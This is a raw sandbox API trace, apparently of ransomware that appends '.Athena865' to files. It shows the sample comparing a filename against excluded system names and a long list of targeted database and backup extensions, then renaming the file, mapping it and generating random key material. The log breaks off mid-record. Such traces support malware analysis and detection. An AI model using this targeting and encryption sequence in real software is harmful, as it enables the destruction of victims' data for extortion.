lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.319] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0054.319] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0054.319] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0054.319] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0054.319] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0054.319] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0054.319] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0054.319] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0054.319] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0054.319] lstrlenW (lpString="desktop.ini") returned 11 [0054.319] lstrcpyW (in: lpString1=0x241e898, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0054.319] lstrlenW (lpString="desktop.ini") returned 11 [0054.319] lstrlenW (lpString="Athena865") returned 9 [0054.319] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0054.319] lstrlenW (lpString=".dll") returned 4 [0054.319] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0054.319] lstrlenW (lpString=".lnk") returned 4 [0054.319] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0054.319] lstrlenW (lpString=".ini") returned 4 [0054.319] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0054.319] lstrlenW (lpString=".sys") returned 4 [0054.319] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0054.320] lstrlenW (lpString="desktop.ini") returned 11 [0054.320] lstrlenW (lpString="bak") returned 3 [0054.320] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0054.320] lstrlenW (lpString="ba_") returned 3 [0054.320] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0054.320] lstrlenW (lpString="dbb") returned 3 [0054.320] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0054.320] lstrlenW (lpString="vmdk") returned 4 [0054.320] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0054.320] lstrlenW (lpString="rar") returned 3 [0054.320] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0054.320] lstrlenW (lpString="zip") returned 3 [0054.320] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0054.320] lstrlenW (lpString="tgz") returned 3 [0054.320] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0054.320] lstrlenW (lpString="vbox") returned 4 [0054.320] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0054.320] lstrlenW (lpString="vdi") returned 3 [0054.320] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0054.320] lstrlenW (lpString="vhd") returned 3 [0054.320] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0054.320] lstrlenW (lpString="vhdx") returned 4 [0054.320] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0054.320] lstrlenW (lpString="avhd") returned 4 [0054.320] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0054.320] lstrlenW (lpString="db") returned 2 [0054.320] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0054.320] lstrlenW (lpString="db2") returned 3 [0054.320] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0054.320] lstrlenW (lpString="db3") returned 3 [0054.320] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0054.320] lstrlenW (lpString="dbf") returned 3 [0054.320] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0054.321] lstrlenW (lpString="mdf") returned 3 [0054.321] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0054.321] lstrlenW (lpString="mdb") returned 3 [0054.321] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0054.321] lstrlenW (lpString="sql") returned 3 [0054.321] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0054.321] lstrlenW (lpString="sqlite") returned 6 [0054.321] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0054.321] lstrlenW (lpString="sqlite3") returned 7 [0054.321] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0054.321] lstrlenW (lpString="sqlitedb") returned 8 [0054.321] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0054.321] lstrlenW (lpString="xml") returned 3 [0054.321] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0054.321] lstrlenW (lpString="$er") returned 3 [0054.321] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0054.321] lstrlenW (lpString="4dd") returned 3 [0054.321] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0054.321] lstrlenW (lpString="4dl") returned 3 [0054.321] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0054.321] lstrlenW (lpString="^^^") returned 3 [0054.322] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0054.322] lstrlenW (lpString="abs") returned 3 [0054.322] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0054.322] lstrlenW (lpString="abx") returned 3 [0054.322] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0054.322] lstrlenW (lpString="accdb") returned 5 [0054.322] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0054.322] lstrlenW (lpString="accdc") returned 5 [0054.322] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0054.323] lstrlenW (lpString="accde") returned 5 [0054.323] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0054.323] lstrlenW (lpString="accdr") returned 5 [0054.323] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0054.323] lstrlenW (lpString="accdt") returned 5 [0054.323] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0054.323] lstrlenW (lpString="accdw") returned 5 [0054.323] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0054.323] lstrlenW (lpString="accft") returned 5 [0054.323] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0054.323] lstrlenW (lpString="adb") returned 3 [0054.323] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0054.323] lstrlenW (lpString="adb") returned 3 [0054.323] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0054.323] lstrlenW (lpString="ade") returned 3 [0054.323] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0054.323] lstrlenW (lpString="adf") returned 3 [0054.323] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0054.323] lstrlenW (lpString="adn") returned 3 [0054.323] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0054.323] lstrlenW (lpString="adp") returned 3 [0054.323] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0054.323] lstrlenW (lpString="alf") returned 3 [0054.323] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0054.323] lstrlenW (lpString="ask") returned 3 [0054.323] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0054.323] lstrlenW (lpString="btr") returned 3 [0054.323] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0054.323] lstrlenW (lpString="cat") returned 3 [0054.323] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0054.323] lstrlenW (lpString="cdb") returned 3 [0054.323] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0054.324] lstrlenW (lpString="ckp") returned 3 [0054.324] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0054.324] lstrlenW (lpString="cma") returned 3 [0054.324] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0054.324] lstrlenW (lpString="cpd") returned 3 [0054.324] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0054.324] lstrlenW (lpString="dacpac") returned 6 [0054.324] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0054.324] lstrlenW (lpString="dad") returned 3 [0054.324] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0054.324] lstrlenW (lpString="dadiagrams") returned 10 [0054.324] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0054.324] lstrlenW (lpString="daschema") returned 8 [0054.324] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0054.324] lstrlenW (lpString="db-journal") returned 10 [0054.324] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0054.324] lstrlenW (lpString="db-shm") returned 6 [0054.324] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0054.324] lstrlenW (lpString="db-wal") returned 6 [0054.324] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0054.324] lstrlenW (lpString="dbc") returned 3 [0054.324] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0054.324] lstrlenW (lpString="dbs") returned 3 [0054.324] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0054.324] lstrlenW (lpString="dbt") returned 3 [0054.324] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0054.324] lstrlenW (lpString="dbv") returned 3 [0054.324] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0054.324] lstrlenW (lpString="dbx") returned 3 [0054.324] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0054.324] lstrlenW (lpString="dcb") returned 3 [0054.324] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0054.324] lstrlenW (lpString="dct") returned 3 [0054.325] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0054.325] lstrlenW (lpString="dcx") returned 3 [0054.325] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0054.325] lstrlenW (lpString="ddl") returned 3 [0054.325] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0054.325] lstrlenW (lpString="dlis") returned 4 [0054.325] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0054.325] lstrlenW (lpString="dp1") returned 3 [0054.325] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0054.325] lstrlenW (lpString="dqy") returned 3 [0054.325] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0054.325] lstrlenW (lpString="dsk") returned 3 [0054.325] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0054.325] lstrlenW (lpString="dsn") returned 3 [0054.325] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0054.325] lstrlenW (lpString="dtsx") returned 4 [0054.325] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0054.325] lstrlenW (lpString="dxl") returned 3 [0054.325] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0054.325] lstrlenW (lpString="eco") returned 3 [0054.325] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0054.325] lstrlenW (lpString="ecx") returned 3 [0054.325] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0054.325] lstrlenW (lpString="edb") returned 3 [0054.325] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0054.325] lstrlenW (lpString="epim") returned 4 [0054.325] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0054.325] lstrlenW (lpString="fcd") returned 3 [0054.325] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0054.325] lstrlenW (lpString="fdb") returned 3 [0054.325] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0054.325] lstrlenW (lpString="fic") returned 3 [0054.325] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0054.326] lstrlenW (lpString="flexolibrary") returned 12 [0054.326] lstrlenW (lpString="fm5") returned 3 [0054.326] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0054.326] lstrlenW (lpString="fmp") returned 3 [0054.326] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0054.326] lstrlenW (lpString="fmp12") returned 5 [0054.326] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0054.326] lstrlenW (lpString="fmpsl") returned 5 [0054.326] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0054.326] lstrlenW (lpString="fol") returned 3 [0054.326] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0054.326] lstrlenW (lpString="fp3") returned 3 [0054.326] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0054.326] lstrlenW (lpString="fp4") returned 3 [0054.326] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0054.326] lstrlenW (lpString="fp5") returned 3 [0054.326] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0054.326] lstrlenW (lpString="fp7") returned 3 [0054.326] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0054.326] lstrlenW (lpString="fpt") returned 3 [0054.326] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0054.326] lstrlenW (lpString="frm") returned 3 [0054.326] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0054.326] lstrlenW (lpString="gdb") returned 3 [0054.326] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0054.326] lstrlenW (lpString="gdb") returned 3 [0054.326] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0054.326] lstrlenW (lpString="grdb") returned 4 [0054.326] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0054.326] lstrlenW (lpString="gwi") returned 3 [0054.326] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0054.326] lstrlenW (lpString="hdb") returned 3 [0054.327] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0054.327] lstrlenW (lpString="his") returned 3 [0054.327] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0054.327] lstrlenW (lpString="ib") returned 2 [0054.327] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0054.327] lstrlenW (lpString="idb") returned 3 [0054.327] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0054.327] lstrlenW (lpString="ihx") returned 3 [0054.327] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0054.327] lstrlenW (lpString="itdb") returned 4 [0054.327] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0054.327] lstrlenW (lpString="itw") returned 3 [0054.327] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0054.327] lstrlenW (lpString="jet") returned 3 [0054.327] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0054.327] lstrlenW (lpString="jtx") returned 3 [0054.327] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0054.327] lstrlenW (lpString="kdb") returned 3 [0054.327] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0054.327] lstrlenW (lpString="kexi") returned 4 [0054.327] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0054.327] lstrlenW (lpString="kexic") returned 5 [0054.327] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0054.327] lstrlenW (lpString="kexis") returned 5 [0054.327] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0054.327] lstrlenW (lpString="lgc") returned 3 [0054.327] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0054.327] lstrlenW (lpString="lwx") returned 3 [0054.327] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0054.327] lstrlenW (lpString="maf") returned 3 [0054.327] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0054.327] lstrlenW (lpString="maq") returned 3 [0054.327] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0054.328] lstrlenW (lpString="mar") returned 3 [0054.328] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0054.328] lstrlenW (lpString="marshal") returned 7 [0054.328] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0054.328] lstrlenW (lpString="mas") returned 3 [0054.328] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0054.328] lstrlenW (lpString="mav") returned 3 [0054.328] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0054.328] lstrlenW (lpString="maw") returned 3 [0054.328] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0054.328] lstrlenW (lpString="mdbhtml") returned 7 [0054.328] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0054.328] lstrlenW (lpString="mdn") returned 3 [0054.328] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0054.328] lstrlenW (lpString="mdt") returned 3 [0054.328] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0054.328] lstrlenW (lpString="mfd") returned 3 [0054.328] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0054.328] lstrlenW (lpString="mpd") returned 3 [0054.328] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0054.328] lstrlenW (lpString="mrg") returned 3 [0054.328] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0054.328] lstrlenW (lpString="mud") returned 3 [0054.328] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0054.328] lstrlenW (lpString="mwb") returned 3 [0054.328] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0054.328] lstrlenW (lpString="myd") returned 3 [0054.328] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0054.328] lstrlenW (lpString="ndf") returned 3 [0054.328] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0054.328] lstrlenW (lpString="nnt") returned 3 [0054.328] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0054.328] lstrlenW (lpString="nrmlib") returned 6 [0054.329] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0054.329] lstrlenW (lpString="ns2") returned 3 [0054.329] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0054.329] lstrlenW (lpString="ns3") returned 3 [0054.329] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0054.329] lstrlenW (lpString="ns4") returned 3 [0054.329] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0054.329] lstrlenW (lpString="nsf") returned 3 [0054.329] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0054.329] lstrlenW (lpString="nv") returned 2 [0054.329] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0054.329] lstrlenW (lpString="nv2") returned 3 [0054.329] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0054.329] lstrlenW (lpString="nwdb") returned 4 [0054.329] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0054.329] lstrlenW (lpString="nyf") returned 3 [0054.329] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0054.329] lstrlenW (lpString="odb") returned 3 [0054.329] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0054.329] lstrlenW (lpString="odb") returned 3 [0054.329] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0054.329] lstrlenW (lpString="oqy") returned 3 [0054.329] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0054.329] lstrlenW (lpString="ora") returned 3 [0054.329] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0054.329] lstrlenW (lpString="orx") returned 3 [0054.329] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0054.329] lstrlenW (lpString="owc") returned 3 [0054.329] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0054.329] lstrlenW (lpString="p96") returned 3 [0054.329] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0054.329] lstrlenW (lpString="p97") returned 3 [0054.329] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0054.330] lstrlenW (lpString="pan") returned 3 [0054.330] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0054.330] lstrlenW (lpString="pdb") returned 3 [0054.330] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0054.330] lstrlenW (lpString="pdm") returned 3 [0054.330] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0054.330] lstrlenW (lpString="pnz") returned 3 [0054.330] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0054.330] lstrlenW (lpString="qry") returned 3 [0054.330] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0054.330] lstrlenW (lpString="qvd") returned 3 [0054.330] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0054.330] lstrlenW (lpString="rbf") returned 3 [0054.330] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0054.330] lstrlenW (lpString="rctd") returned 4 [0054.330] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0054.330] lstrlenW (lpString="rod") returned 3 [0054.330] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0054.330] lstrlenW (lpString="rodx") returned 4 [0054.330] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0054.330] lstrlenW (lpString="rpd") returned 3 [0054.330] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0054.330] lstrlenW (lpString="rsd") returned 3 [0054.330] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0054.330] lstrlenW (lpString="sas7bdat") returned 8 [0054.330] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0054.330] lstrlenW (lpString="sbf") returned 3 [0054.330] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0054.330] lstrlenW (lpString="scx") returned 3 [0054.330] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0054.330] lstrlenW (lpString="sdb") returned 3 [0054.330] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0054.330] lstrlenW (lpString="sdc") returned 3 [0054.330] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0054.331] lstrlenW (lpString="sdf") returned 3 [0054.331] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0054.331] lstrlenW (lpString="sis") returned 3 [0054.331] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0054.331] lstrlenW (lpString="spq") returned 3 [0054.331] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0054.331] lstrlenW (lpString="te") returned 2 [0054.331] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0054.331] lstrlenW (lpString="teacher") returned 7 [0054.331] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0054.331] lstrlenW (lpString="tmd") returned 3 [0054.331] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0054.331] lstrlenW (lpString="tps") returned 3 [0054.331] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0054.331] lstrlenW (lpString="trc") returned 3 [0054.331] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0054.331] lstrlenW (lpString="trc") returned 3 [0054.331] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0054.331] lstrlenW (lpString="trm") returned 3 [0054.331] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0054.331] lstrlenW (lpString="udb") returned 3 [0054.331] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0054.331] lstrlenW (lpString="udl") returned 3 [0054.331] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0054.331] lstrlenW (lpString="usr") returned 3 [0054.331] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0054.331] lstrlenW (lpString="v12") returned 3 [0054.331] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0054.331] lstrlenW (lpString="vis") returned 3 [0054.331] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0054.331] lstrlenW (lpString="vpd") returned 3 [0054.331] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0054.331] lstrlenW (lpString="vvv") returned 3 [0054.332] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0054.332] lstrlenW (lpString="wdb") returned 3 [0054.332] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0054.332] lstrlenW (lpString="wmdb") returned 4 [0054.332] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0054.332] lstrlenW (lpString="wrk") returned 3 [0054.332] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0054.332] lstrlenW (lpString="xdb") returned 3 [0054.332] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0054.332] lstrlenW (lpString="xld") returned 3 [0054.332] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0054.332] lstrlenW (lpString="xmlff") returned 5 [0054.332] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0054.332] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\Videos\\desktop.ini.Athena865") returned 61 [0054.332] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\Videos\\desktop.ini" (normalized: "c:\\documents and settings\\public\\videos\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Public\\Videos\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\public\\videos\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0054.333] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Videos\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\public\\videos\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0054.333] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=380) returned 1 [0054.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0054.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0054.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519e60 [0054.333] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519ee8) returned 1 [0054.334] CryptGenRandom (in: hProv=0x519ee8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0054.334] CryptReleaseContext (hProv=0x519ee8, dwFlags=0x0) returned 1 [0054.334] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x480, lpName=0x0) returned 0x17c [0054.335] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x480) returned 0x100000 [0054.335] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519ee8) returned 1 [0054.335] CryptGenRandom (in: hProv=0x519ee8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0054.335] CryptReleaseContext (hProv=0x519ee8, dwFlags=0x0) returned 1 [0054.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0054.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0054.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0054.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0054.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0054.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0054.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0054.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0054.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0054.336] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0054.336] CloseHandle (hObject=0x17c) returned 1 [0054.336] CloseHandle (hObject=0x154) returned 1 [0054.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0054.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519e60 | out: hHeap=0x4f0000) returned 1 [0054.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0054.339] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2fa6a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd2fa6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, 